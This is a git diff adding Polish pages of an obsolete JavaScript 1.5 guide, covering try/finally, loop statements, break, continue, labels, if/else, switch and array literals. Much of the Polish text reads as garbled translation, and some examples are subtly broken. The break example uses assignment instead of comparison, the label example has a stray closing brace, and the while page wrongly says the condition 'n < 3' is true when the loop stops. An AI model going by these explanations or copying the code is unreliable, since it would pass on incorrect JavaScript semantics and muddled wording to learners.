+ logError(e)
+}
+</pre>
+<h4 id="Blok_finally" name="Blok_finally">Blok <code><b>finally</b></code></h4>
+<p>Blok <code><b>finally</b></code> stanowi instrukcja wykonywana po sprawdzeniu i wykonaniu bloku <code><b>catch</b></code>, ale przed następującą instrukcją <code><b>try...catch</b></code>. Blok <code><b>finally</b></code> wykonany gdziekolwiek lub nie jest wyjątkiem <code><b>thrown</b></code>. Jeśli wyjątek jest <code><b>thrown</b></code>, instrukcje w bloku <code><b>finally</b></code> wykonane równo, jeśli blok <code><b>catch</b></code> trzyma wyjątek.</p>
+<p>Możesz używać bloku <code><b>finally</b></code> do zrobienia Twojego błędnego skryptu, kiedy ma miejsce wyjątku; na przykład, możesz potrzebować zwolnić źródło, którego Twój skrypt ma powiązanego. Następujący przykład otwiera plik i następnie wykonuje instrukcję, która użyje pliku (server-side pozwoli Ci w JavaScript uzyskać dostęp do pliku). Jeśli wyjątek jest rzucony, gdy plik jest otwarty, a blok <code><b>finally</b></code> zamyka pliki przed danymi skryptami.</p>
+<pre>openMyFile();
+try {
+ writeMyFile(theData)
+}
+finally {
+ closeMyFile() // zawsze zamykaj źródło
+}
+</pre>
+<h4 id="Zagnie.C5.BCd.C5.BCanie_instrukcji_try...catch" name="Zagnie.C5.BCd.C5.BCanie_instrukcji_try...catch">Zagnieżdżanie instrukcji <code><b>try...catch</b></code></h4>
+<p>Żądaj jeden lub więcej instrukcji <code><b>try...catch</b></code>. Jeśli wewnętrzna instrukcja <code><b>try...catch</b></code> nie ma bloku catch, otoczamy blok catch i instrukcja <code><b>try...catch</b></code> jest zaznaczona dla danej wartości.</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/index.html
new file mode 100644
index 0000000000..f4b9e92afb
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/index.html
@@ -0,0 +1,23 @@
+---
+title: Instrukcje pętli
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<p>
+</p>
+<h3 id="Instrukcje_p.C4.99tli" name="Instrukcje_p.C4.99tli"> Instrukcje pętli </h3>
+<p>Pętle są to specjalnie ustawione polecenia, które wykonują wielokrotnie kod, aż do spotkania specyficznych wartości. JavaScript wspiera instrukcję pętli for, do while, i while, albo well albo label (etykieta nie instrukcją pętli, ale jest często użyta z tą instrukcjami). Uzupełniając, możesz użyć instrukcji <code><b>break</b></code> i <code><b>continue</b></code> wewnątrz instrukcji pętli. </p><p>Następna instrukcja, <code><b>for...in</b></code>, wykonuje wielokrotnie ale jest użyta do manipulacji obiektem. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_manipulacji_obiektem">Instrukcje manipulacji obiektem</a>.
+</p><p>Instrukcjami pętli są:<br>
+</p>
+<ul><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_p%c4%99tli/Instrukcja_for">Instrukcja for</a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_p%c4%99tli/Instrukcja_do_...while">Instrukcja do...while</a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_p%c4%99tli/Instrukcja_while">Instrukcja while</a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_p%c4%99tli/Instrukcja_label">Instrukcja label</a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_p%c4%99tli/Instrukcja_break">Instrukcja break</a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_p%c4%99tli/Instrukcja_continue">Instrukcja continue</a>
+</li></ul>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Loop_Statements", "es": "es/Gu\u00eda_JavaScript_1.5/Sentencias_de_bucle", "fr": "fr/Guide_JavaScript_1.5/Boucles", "ja": "ja/Core_JavaScript_1.5_Guide/Loop_Statements" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_break/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_break/index.html
new file mode 100644
index 0000000000..108f315058
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_break/index.html
@@ -0,0 +1,27 @@
+---
+title: Instrukcja break
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_break
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Instrukcja_break" name="Instrukcja_break">Instrukcja <code>break</code></h3>
+<p>Użyjemy instrukcji <code><b>break</b></code> chcąc zakończyć jedną z instrukcji <code><b> pętli switch</b>, lub <b>label</b></code> .</p>
+<ul>
+ <li>Kiedy użyjemy <code><b>break</b></code> to przerwana zostanie natychmiast najgłębsza instrukcja <code><b>while, do-while, for,</b></code> lub <code><b>switch</b></code> i kontrola przekazana zostanie do następnej instrukcji.</li>
+ <li>Kiedy użyjemy <code><b>break</b></code> z etykietą, to przerwana zostanie specyficzna instrukcja o nazwie tej etykiety.</li>
+</ul>
+<p>Składnia instrukcji <code><b>break</b></code> wygląda jak poniższy przykład:</p>
+<pre>1. break
+2. break label
+</pre>
+<p>Pierwsza forma składni przerywa najgłębszą otoczoną nawiasami lub instrukcje pętlę <code><b>switch</b></code>; druga forma składni przerywa specjalnie pętlę zamkniętą i oznaczoną etykietę instrukcji.</p>
+<p><b>Przykład</b><br>
+ Następujący przykład powtarza pętle poprzez elementy w tablicy aż do momentu, znalezienia element indeksu, który jest wartością <code><b>theValue</b></code>:</p>
+<pre>for (i = 0; i &lt; a.length; i++) {
+ if (a[i] = theValue)
+ break;
+}
+</pre>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_continue/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_continue/index.html
new file mode 100644
index 0000000000..dee2eda4ee
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_continue/index.html
@@ -0,0 +1,51 @@
+---
+title: Instrukcja continue
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_continue
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Instrukcja_continue" name="Instrukcja_continue">Instrukcja <code>continue</code></h3>
+<p>Instrukcja <code><b>continue</b></code> możemy użyć do ponownego uruchomienia instrukcji <code><b>while, do-while, for,</b></code> lub <code><b>label</b></code> tzw. etykiety.</p>
+<ul>
+ <li>Kiedy użyjemy instrukcji <code><b>continue</b></code> bez label, to zostanie przerwana aktualnie wykonywana iteracja najgłębszej instrukcji otoczonej kodem <code><b>while, do-while</b></code> lub <code><b>for</b></code>, która będzie kontynuowała wykonanie następnej pętli z iteracją. Przeciwieństwem jest instrukcja <code><b>break</b></code>, <code><b>continue</b></code> nie zostanie przerwane wykonywanie w całości. W pętli <code><b>while</b></code>, to kod zostanie zawrócony wg warunków określonych w kodzie. W pętli <code><b>for</b></code>, to wykona przyrost wyrażenia.</li>
+ <li>Kiedy użyjemy <code><b>continue</b></code> z <code><b>label</b></code>, to nakłada się do instrukcji pętli identyfikującej się z <code><b>label</b></code>.</li>
+</ul>
+<p>Składnia instrukcji <code><b>continue</b></code> wygląda następująco:</p>
+<ol>
+ <li><code><b>continue</b></code></li>
+ <li><code><b>continue label</b></code></li>
+</ol>
+<p><b>Przykład 1</b><br>
+ Następujący przykład pokazuje pętlę <code><b>while</b></code> z instrukcja <code><b>continue</b></code>, która jest wykonana wtedy, gdy wartość <code><b>i</b></code> jest liczbą trzy. W ten sposób, <code><b>n</b></code> pobiera wartości jeden, trzy, siedem, dwanaście.</p>
+<pre class="eval">i = 0;
+n = 0;
+while (i &lt; 5) {
+ i++;
+ if (i == 3)
+ continue;
+ n += i;
+}
+</pre>
+<p><b>Przykład 2</b><br>
+ Etykieta instrukcji <code><b>checkiandj</b></code> stanowi etykietę instrukcji <code><b>checkj</b></code>. Jeśli <code><b>continue</b></code> zostanie napotkane, program przerwie aktualnie wykonywaną iterację <code><b>checkj</b></code> i rozpocznie następną iterację. Za każdym razem, gdy <code><b>continue</b></code> zostanie napotkane, <code><b>checkj</b></code> wykonuje ponownie iterację aż do momentu, gdy warunek stanie się nieprawdziwy. Kiedy został napotkany nieprawdziwy warunek, to powtarza, reszta instrukcji <code><b>checkiandj</b></code> jest dopełniona, i <code><b>checkiandj</b></code> ponownie iteruje aż jego warunek zwróci wartość nieprawdziwą. Kiedy <b>false</b> jest zwracany, to program kontynuuje następującą instrukcję <code><b>checkiandj</b></code>.</p>
+<p>Jeśli <code><b>continue</b></code> miało pętlę <code><b>checkiandj</b></code>, to program będzie kontynuował instrukcję <code><b>checkiandj</b></code>, aż osiągnie jej najwyższą wartość.</p>
+<pre>checkiandj :
+ while (i &lt; 4) {
+ document.write(i + "&lt;br/&gt;");
+ i += 1;
+ checkj :
+ while (j &gt; 4) {
+ document.write(j + "&lt;br/&gt;");
+ j -= 1;
+ if ((j % 2) == 0)
+ continue checkj;
+ document.write(j + " is odd.&lt;br/&gt;");
+ }
+ document.write("i = " + i + "&lt;br/&gt;");
+ document.write("j = " + j + "&lt;br/&gt;");
+ }
+</pre>
+<p> </p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_do_...while/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_do_...while/index.html
new file mode 100644
index 0000000000..6c770f4ae6
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_do_...while/index.html
@@ -0,0 +1,23 @@
+---
+title: Instrukcja do ...while
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_do_...while
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h4 id="Instrukcja_do...while" name="Instrukcja_do...while">Instrukcja <code>do...while</code></h4>
+<p>Instrukcja <code><b>do...while</b></code> powtarza specyficzny warunek, aż do momentu, kiedy uzna go za fałszywy. Instrukcja <code><b>do...while</b></code> wygląda następująco:</p>
+<pre class="eval">do
+ statement
+while (condition);
+</pre>
+<p>Instrukcja (<code><b>statement</b></code> zostanie wykonany raz, zanim warunek zostanie sprawdzony. Jeśli warunek (<code><b>condition</b></code>) jest prawdziwy (true), instrukcja zostanie wykonana ponownie. Warunek jest sprawdzany na końcu każdego wykonania. Kiedy warunek jest fałszywy (false), wykonanie zostaje zatrzymane i kontrola jest przekazywana do instrukcji następującej po pętli <code><b>do...while</b></code>.</p>
+<p><b>Przykład</b><br>
+ W następnym przykładzie, pętla iteracyjna wykonuje się, co najmniej raz, i powraca wykonując pętlę iteracyjną dopóki wartość i jest mniejsza niż 5.</p>
+<pre class="eval">do {
+ i += 1;
+ document.write(i);
+} while (i &lt; 5);
+</pre>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_for/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_for/index.html
new file mode 100644
index 0000000000..c13c4558fb
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_for/index.html
@@ -0,0 +1,56 @@
+---
+title: Instrukcja for
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_for
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Instrukcja_for" name="Instrukcja_for">Instrukcja <code>for</code></h3>
+<p>Pętla <code><b>for</b></code> jest powtarzana aż do momentu, kiedy testowany warunek staje się fałszywy. W JavaScript pętla <code><b>for</b></code> jest podobna do pętli w Java i C. Instrukcja pętli <code><b>for</b></code> wygląda następująco:</p>
+<pre>for ([przypisanie]; [warunek]; [zmiana]) {
+ Instrukcje
+}
+</pre>
+<p>Kiedy pętla <code><b>for</b></code> jest wykonywana to mają miejsce:</p>
+<ol>
+ <li>Inicjalizacja wyrażenia <code><b>przypisanie</b></code>, jeśli coś jest wykonywane. To wyrażenie często inicjuje jedną lub więcej pętli, ale kod pozwala na wyrażenia o różnym stopniu złożoności. To wyrażenie może deklarować zmienne.</li>
+ <li>Wyrażenie <code><b>warunek</b></code> jest wykonane. Jeśli wartość <code><b>warunek</b></code> jest prawdziwa, instrukcja pętli jest wykonana. Jeśli wartość <code><b>warunek</b></code> jest fałszywa, pętla <code><b>for</b></code> jest przerwana. Jeśli wyrażenie <code><b>warunek</b></code> jest w całości opuszczone, warunek to bierze na siebie, jeśli jest prawdziwy.</li>
+ <li>Wykonuje <code><b>instrukcje</b></code>.</li>
+ <li>Aktualizuje wyrażenia <code><b>zmiana</b></code>, jeśli jedna wykonywana to kontrola jest przekazywana do kroku drugiego.</li>
+</ol>
+<p><b>Przykład</b><br>
+ Następująca funkcja stanowi instrukcję <code><b>for</b></code>, która to tworzy licznik zaznaczonych opcji w liście przewijanej (obiekt <b>Select</b>, który pozwala na wielokrotne zaznaczenia). Instrukcja <code><b>for</b></code> deklaruje zmienną <code><b>i</b></code> i inicjuje ją od zera. Sprawdza, które <code><b>i</b></code> jest mniejsze niż liczba opcji w obiekcie <code><b>Select</b></code> wykonując kolejną instrukcję <code><b>if</b></code>, i zwiększa <code><b>i</b></code> o jeden po każdej wykonanej pętli.</p>
+<pre>&lt;script type="text/javascript"&gt;//&lt;![CDATA[
+
+function howMany(selectObject) {
+ var numberSelected = 0;
+ for (var i = 0; i &lt; selectObject.options.length; i++) {
+ if (selectObject.options[i].selected)
+ numberSelected++;
+ }
+ return numberSelected;
+}
+
+//]]&gt;&lt;/script&gt;
+&lt;form name="selectForm"&gt;
+ &lt;p&gt;
+ &lt;strong&gt;Choose some music types, then click the button below:&lt;/strong&gt;
+ &lt;br/&gt;
+ &lt;select name="musicTypes" multiple="multiple"&gt;
+ &lt;option selected="selected"&gt;R&amp;B&lt;/option&gt;
+ &lt;option&gt;Jazz&lt;/option&gt;
+ &lt;option&gt;Blues&lt;/option&gt;
+ &lt;option&gt;New Age&lt;/option&gt;
+ &lt;option&gt;Classical&lt;/option&gt;
+ &lt;option&gt;Opera&lt;/option&gt;
+ &lt;/select&gt;
+ &lt;/p&gt;
+ &lt;p&gt;
+ &lt;input type="button" value="How many are selected?"
+ onclick="alert ('Number of options selected: ' + howMany(document.selectForm.musicTypes))"/&gt;
+ &lt;/p&gt;
+&lt;/form&gt;
+</pre>
+<p> </p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_label/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_label/index.html
new file mode 100644
index 0000000000..e95a452b8f
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_label/index.html
@@ -0,0 +1,23 @@
+---
+title: Instrukcja label
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_label
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Instrukcja_label" name="Instrukcja_label">Instrukcja <code>label</code></h3>
+<p>Instrukcja <code><b>label</b></code> dostarcza instrukcję wraz z identyfikatorem, który odnosi się całkiem gdzie indziej w Twoim programie. Na przykład, możesz użyć <code><b>label</b></code> do zidentyfikowania pętli i następnie w niej użyć instrukcję <code><b>break</b></code> lub <code><b>continue</b></code>, do wskazania miejsca gdzie program powinien zinterpretować pętlę lub kontynuować jego wykonanie.</p>
+<p>Składnia instrukcji <code><b>label</b></code> wygląda następująco:</p>
+<pre>label :
+ Instrukcja
+</pre>
+<p>Wartością <code><b>label</b></code> może być w JavaScript identyfikator, który jest nie zarezerwowanym słowem. <code><b>Instrukcja</b></code> to identyfikujesz z etykietą, która może być jakąś instrukcją.</p>
+<p><b>Przykład</b><br>
+ W tym przykładzie, etykieta <code><b>markLoop</b></code> identyfikuje pętle while.</p>
+<pre>markLoop:
+while (theMark == true)
+ doSomething();
+}
+</pre>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_while/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_while/index.html
new file mode 100644
index 0000000000..48ecacaa70
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_while/index.html
@@ -0,0 +1,38 @@
+---
+title: Instrukcja while
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_while
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Instrukcja_while" name="Instrukcja_while">Instrukcja <code>while</code></h3>
+<p>Instrukcja <code><b>while</b></code> wykonuje instrukcje tak długo, dopóki warunek będzie prawdziwy. Instrukcja pętli <code><b>while</b></code> wygląda następująco:</p>
+<pre>while (warunek) {
+ instrukcje
+}
+</pre>
+<p>Jeśli warunek stanie się fałszywy, instrukcja wewnątrz pętli zatrzyma wykonywanie i identyfikatorach kontroli w instrukcji następującej pętli.</p>
+<p>Test warunku ma miejsce przed wykonaniem pętli instrukcji. Jeśli warunek będzie prawdziwy, instrukcje są wykonywane i ponownie jest wykonywany test warunku. Jeśli warunek będzie fałszywy, wykonywanie pętli jest zatrzymanie i przejście kontroli do następującej instrukcji <code><b>while</b></code>.</p>
+<p><b>Przykład 1</b><br>
+ Następująca pętla <code><b>while</b></code> wykonuje iterację (powtarza) tak długo aż <b>n</b> jest mniejsze od trzech:</p>
+<pre>n = 0;
+x = 0;
+while( n &lt; 3 ) {
+ n ++;
+ x += n;
+}
+</pre>
+<p>Do każdej wykonanej pętli iteracji, przyrost pętli <code><b>n</b></code> i dodanie te wartości <code><b>x</b></code>. Dlatego, <code><b>x</b></code> i <code><b>n</b></code> pobierają następujące wartości:</p>
+<ul>
+ <li>Po pierwszym przejściu: <code><b>n</b></code> = 1 i <code><b>x</b></code> = 1</li>
+ <li>Po drugim przejściu: <code><b>n</b></code> = 2 i <code><b>x</b></code> = 3</li>
+ <li>Po trzecim przejściu: <code><b>n</b></code> = 3 i <code><b>x</b></code> = 6</li>
+</ul>
+<p>Po uzupełnieniu trzeciego przejścia, warunek <code><b>n</b></code> &lt; 3 jest wartość prawdziwa, więc pętla zostanie przerwana.</p>
+<p><b>Przykład 2</b><br>
+ Nieskończoność pętli. Upewnij się czy warunek pętli ostatecznie staje się fałszywym; innym razem, pętla nigdy nie zostanie przerwana. Instrukcja w następującej pętli <code><b>while</b></code> występuje bezustannie, ponieważ warunek nigdy nie stanie się fałszywy.</p>
+<pre>while (true) {
+ alert("Hello, world") }
+</pre>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_warunkowe/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_warunkowe/index.html
new file mode 100644
index 0000000000..8c314362fd
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_warunkowe/index.html
@@ -0,0 +1,89 @@
+---
+title: Instrukcje warunkowe
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_warunkowe
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<p>
+</p>
+<h3 id="Instrukcja_warunkowa" name="Instrukcja_warunkowa"> Instrukcja warunkowa </h3>
+<p>Instrukcja warunkowa jest zestawem poleceń wykonywanych, jeżeli dany warunek jest spełniony JavaScript obsługuje dwie instrukcje warunkowe:if...else i switch.
+</p>
+<h4 id="Instrukcja_if...else" name="Instrukcja_if...else"> Instrukcja if...else </h4>
+<p>Instrukcja <code><b>if</b></code> powoduje wykonanie kodu źródłowego <code>instrukcja1</code> tylko wtedy, gdy <code>warunek</code> logiczny jest spełniony. Jeżeli zostanie użyty poszerzony wariant instrukcji <code>if</code>, to po spełnieniu warunku zostanie wykonany kod <code>instrukcja1</code> lecz w przeciwnym wypadku zostanie wykonany kod <code>instrukcja2</code>. Instrukcja <code><b>if</b></code> ma postać:
+</p>
+<pre>if (warunek) {
+ instrukcja1
+}
+[else {
+ instrukcja2
+} ]
+</pre>
+<p>Jakiekolwiek wyrażenie w JavaScript może mieć warunek, który jest oceniany czy jest on prawdziwy lub fałszywy. Instrukcja wykonuje jakąkolwiek instrukcję zawartą w JavaScript, włączając pomoc zagnieżdżonym instrukcjom if. Jeśli chcesz użyć więcej niż po instrukcji <code><b>if</b></code> lub instrukcji <code><b>else</b></code> musisz otoczyć instrukcję nawiasami klamrowymi, {}.
+</p><p>Nie powinieneś używać prostych zadań używając instrukcji warunkowej. Na przykład, nie używaj następującego kodu: </p>
+<pre>if(x = y)
+{
+ /* coś jest wykonywane */
+}
+</pre>
+<p>Jeśli potrzebujesz użyć instrukcji warunkowej, aby wykonać zadanie, wstaw dodatkowy nawias wokół zadania. Na przykład, użyj if( (x = y) ).
+</p><p>Nie pomieszaj wartości prymitywnej logicznej true i false z true i false wartości logicznej obiektu. Jakikolwiek obiekt, którego wartość nie jest zidentyfikowana, null, zero, NaN, lub pusty łańcuch znaków, włączając obiekt logiczny, którego wartość jest fałszem staje się prawdziwy, kiedy przechodzi w instrukcję warunkową. Na przykład:
+</p>
+<pre>var b = new Boolean(false);
+if (b) // ten warunek jest prawdziwy
+</pre>
+<p><b>Przykład</b><br>
+Następujący przykład funkcji <code><b>checkData</b></code> zwraca true i numer czcionki w obiekcie <code><b>Text</b></code> są trzy; W drugą stronę, to wyświetli alert ostrzegawczy i zwróci Ci false.
+</p>
+<pre>function checkData () {
+ if (document.form1.threeChar.value.length == 3) {
+ return true
+ } else {
+ alert("Enter exactly three characters. " +
+ document.form1.threeChar.value + " is not valid.")
+ return false
+ }
+}
+</pre>
+<h4 id="Instrukcja_switch" name="Instrukcja_switch"> Instrukcja switch </h4>
+<p>Instrukcja <code><b>switch</b></code> pozwala programowi na sprawdzenie ciągu warunków i próbuje wykonać wartość wyrażenia przypisana do odpowiedniej etykiety case. Jeśli jest to wyrażenie znalezione, program wykonuje załączoną instrukcję. Instrukcja <code><b>switch</b></code> wygląda w następujący sposób:
+</p>
+<pre>switch (expression){
+ case label :
+ statement;
+ break;
+ case label :
+ statement;
+ break;
+ ...
+ default : statement;
+}
+</pre>
+<p>Najpierw program szuka etykietę odpowiedniego wyrażenia i wykonuje załączoną instrukcję. Jeśli znaleziona zostaje nie odpowiednia etykieta, program szuka domyślnej instrukcji i jeśli znajdzie wykonuje załączoną instrukcję. Jeśli nie domyślna instrukcja jest znaleziona, program kontynuuje wykonywanie instrukcji aż do końca instrukcji <code><b>switch</b></code>.
+</p><p>Opcjonalnie instrukcja <code><b>break</b></code> połączona z każdą etykietą case zapewnia przerwanie programu z całego bloku <code><b>switch</b></code> odpowiednio raz jak jest wykonana instrukcja i kontynuuje wykonywanie następnej instrukcji switch. Jeśli opuszcza <code><b>break</b></code>, program kontynuuje wykonywanie aż do następnej instrukcji w <code><b>switch</b></code>.
+</p><p><b>Przykład</b><br>
+W następującym przykładzie, jeśli <code><b>expr</b></code> sprawdza "Bananas", program szuka odpowiednią wartość z case "Bananas" i wykonuje załączoną instrukcję. Kiedy napotka <code><b>break</b></code>, progaram przerywa <code><b>switch</b></code>. Jeśli <code><b>break</b></code> zostało opuszczone, instrukcja zostanie wykonana dla case "Cherries".
+</p>
+<pre>switch (expr) {
+ case "Oranges" :
+ document.write("Oranges are $0.59 a pound.&lt;BR&gt;");
+ break;
+ case "Apples" :
+ document.write("Apples are $0.32 a pound.&lt;BR&gt;");
+ break;
+ case "Bananas" :
+ document.write("Bananas are $0.48 a pound.&lt;BR&gt;");
+ break;
+ case "Cherries" :
+ document.write("Cherries are $3.00 a pound.&lt;BR&gt;");
+ break;
+ default :
+ document.write("Sorry, we are out of " + i + ".&lt;BR&gt;");
+}
+
+document.write("Is there anything else you'd like?&lt;BR&gt;");
+</pre>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Conditional_Statements", "fr": "fr/Guide_JavaScript_1.5/Instructions_conditionnelles", "ja": "ja/Core_JavaScript_1.5_Guide/Conditional_Statements" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/literały/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/literały/index.html
new file mode 100644
index 0000000000..ac080fcbb4
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/literały/index.html
@@ -0,0 +1,207 @@
+---
+title: Literały
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Literały
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<p>
+</p>
+<h3 id="Litera.C5.82y" name="Litera.C5.82y"> Literały </h3>
+<p>Literałów używa się w celu przedstawiania wartości w JavaScript. Są one ustalonymi wartościami (a nie zmiennymi), które <i>dosłownie</i> podajesz w swoim skrypcie. Ten fragment opisuje następujące typy literałów: </p>
+<ul><li> {{ Anch("Literały tablicy") }}
+</li><li> {{ Anch("Literały logiczne") }}
+</li><li> {{ Anch("Literały zmiennoprzecinkowe") }}
+</li><li> {{ Anch("Literały całkowite") }}
+</li><li> {{ Anch("Literały obiektu") }}
+</li><li> {{ Anch("Literały znakowe") }}
+</li></ul>
+<h4 id="Litera.C5.82y_tablicy" name="Litera.C5.82y_tablicy"> Literały tablicy </h4>
+<p>Literał tablicy jest listą składającą się z zera lub większej liczby wyrażeń, z których każdy reprezentuje element tablicy, a które zamknięte są w nawiasach kwadratowych ([]). Tablica tworzona za pomocą literału tablicy zostaje zainicjalizowana podanymi wartościami jako jej elementami, a jej długość jest ustalone według liczby podanych argumentów.
+</p><p>Poniższy przykład tworzy tablicę <code>kawy</code> z trzema elementami i o długości trzy:
+</p>
+<pre>kawy = ["Arabica", "Columbiana", "Zbożowa"]</pre>
+<p><b>Uwaga</b> Literał tablicy jest typem inicjatora obiektu. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/U%c5%bcywanie_inicjacji_obiektu">Używanie inicjatorów obiektu</a>.
+</p><p>Jeśli tablica została utworzona przy pomocy literału w skrypcie najwyższego poziomu, JavaScript interpretuje tablicę za każdym razem, gdy przelicza wyrażenie zawierające literał tablicowy. Dodatkowo literał użyty w funkcji jest tworzony przy każdym wywołaniu funkcji.
+</p><p>Literały tablicy są także obiektami <code>Array</code>. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array">obiekt <code>Array</code></a>, aby uzyskać więcej informacji o obiektach <code>Array</code>.
+</p><p><b>Dodatkowe przecinki w literale tablicy</b>
+</p><p>Nie musisz określać w literale tablicy wszystkich elementów. Jeśli postawisz kolejno dwa przecinki, zostanie utworzony obiekt <code>array</code> z pustym miejscem dla niesprecyzowanych elementów. Poniższy przykład tworzy tablicę <code>ryba</code>:
+</p>
+<pre>ryba = ["Piła", , "Młot"]</pre>
+<p>Tablica ta posiada dwa elementy z wartościami i jeden pusty element (wartość <code>ryba{{ mediawiki.external(0) }}</code> to "Piła", <code>ryba{{ mediawiki.external(1) }}</code> jest niezdefiniowana, a <code>ryba{{ mediawiki.external(2) }}</code> to "Młot"):
+</p><p>Jeśli na końcu listy elementów umieścisz dodatkowy przecinek, jest on ignorowany. W poniższym przykładzie długość <code>tablicy</code> jest równa trzy. Nie istnieje <code>mojaLista{{ mediawiki.external(3) }}</code>. Wszystkie inne przecinki w liście wskazują nowy element. </p>
+<pre>mojaLista = ['dom', , 'szkoła', ];</pre>
+<p>W kolejnym przykładzie długość <code>tablicy</code> jest równa cztery; nie zdefiniowano wartości dla <code>mojaLista{{ mediawiki.external(0) }}</code> i <code>mojaLista{{ mediawiki.external(2) }}</code>.
+</p>
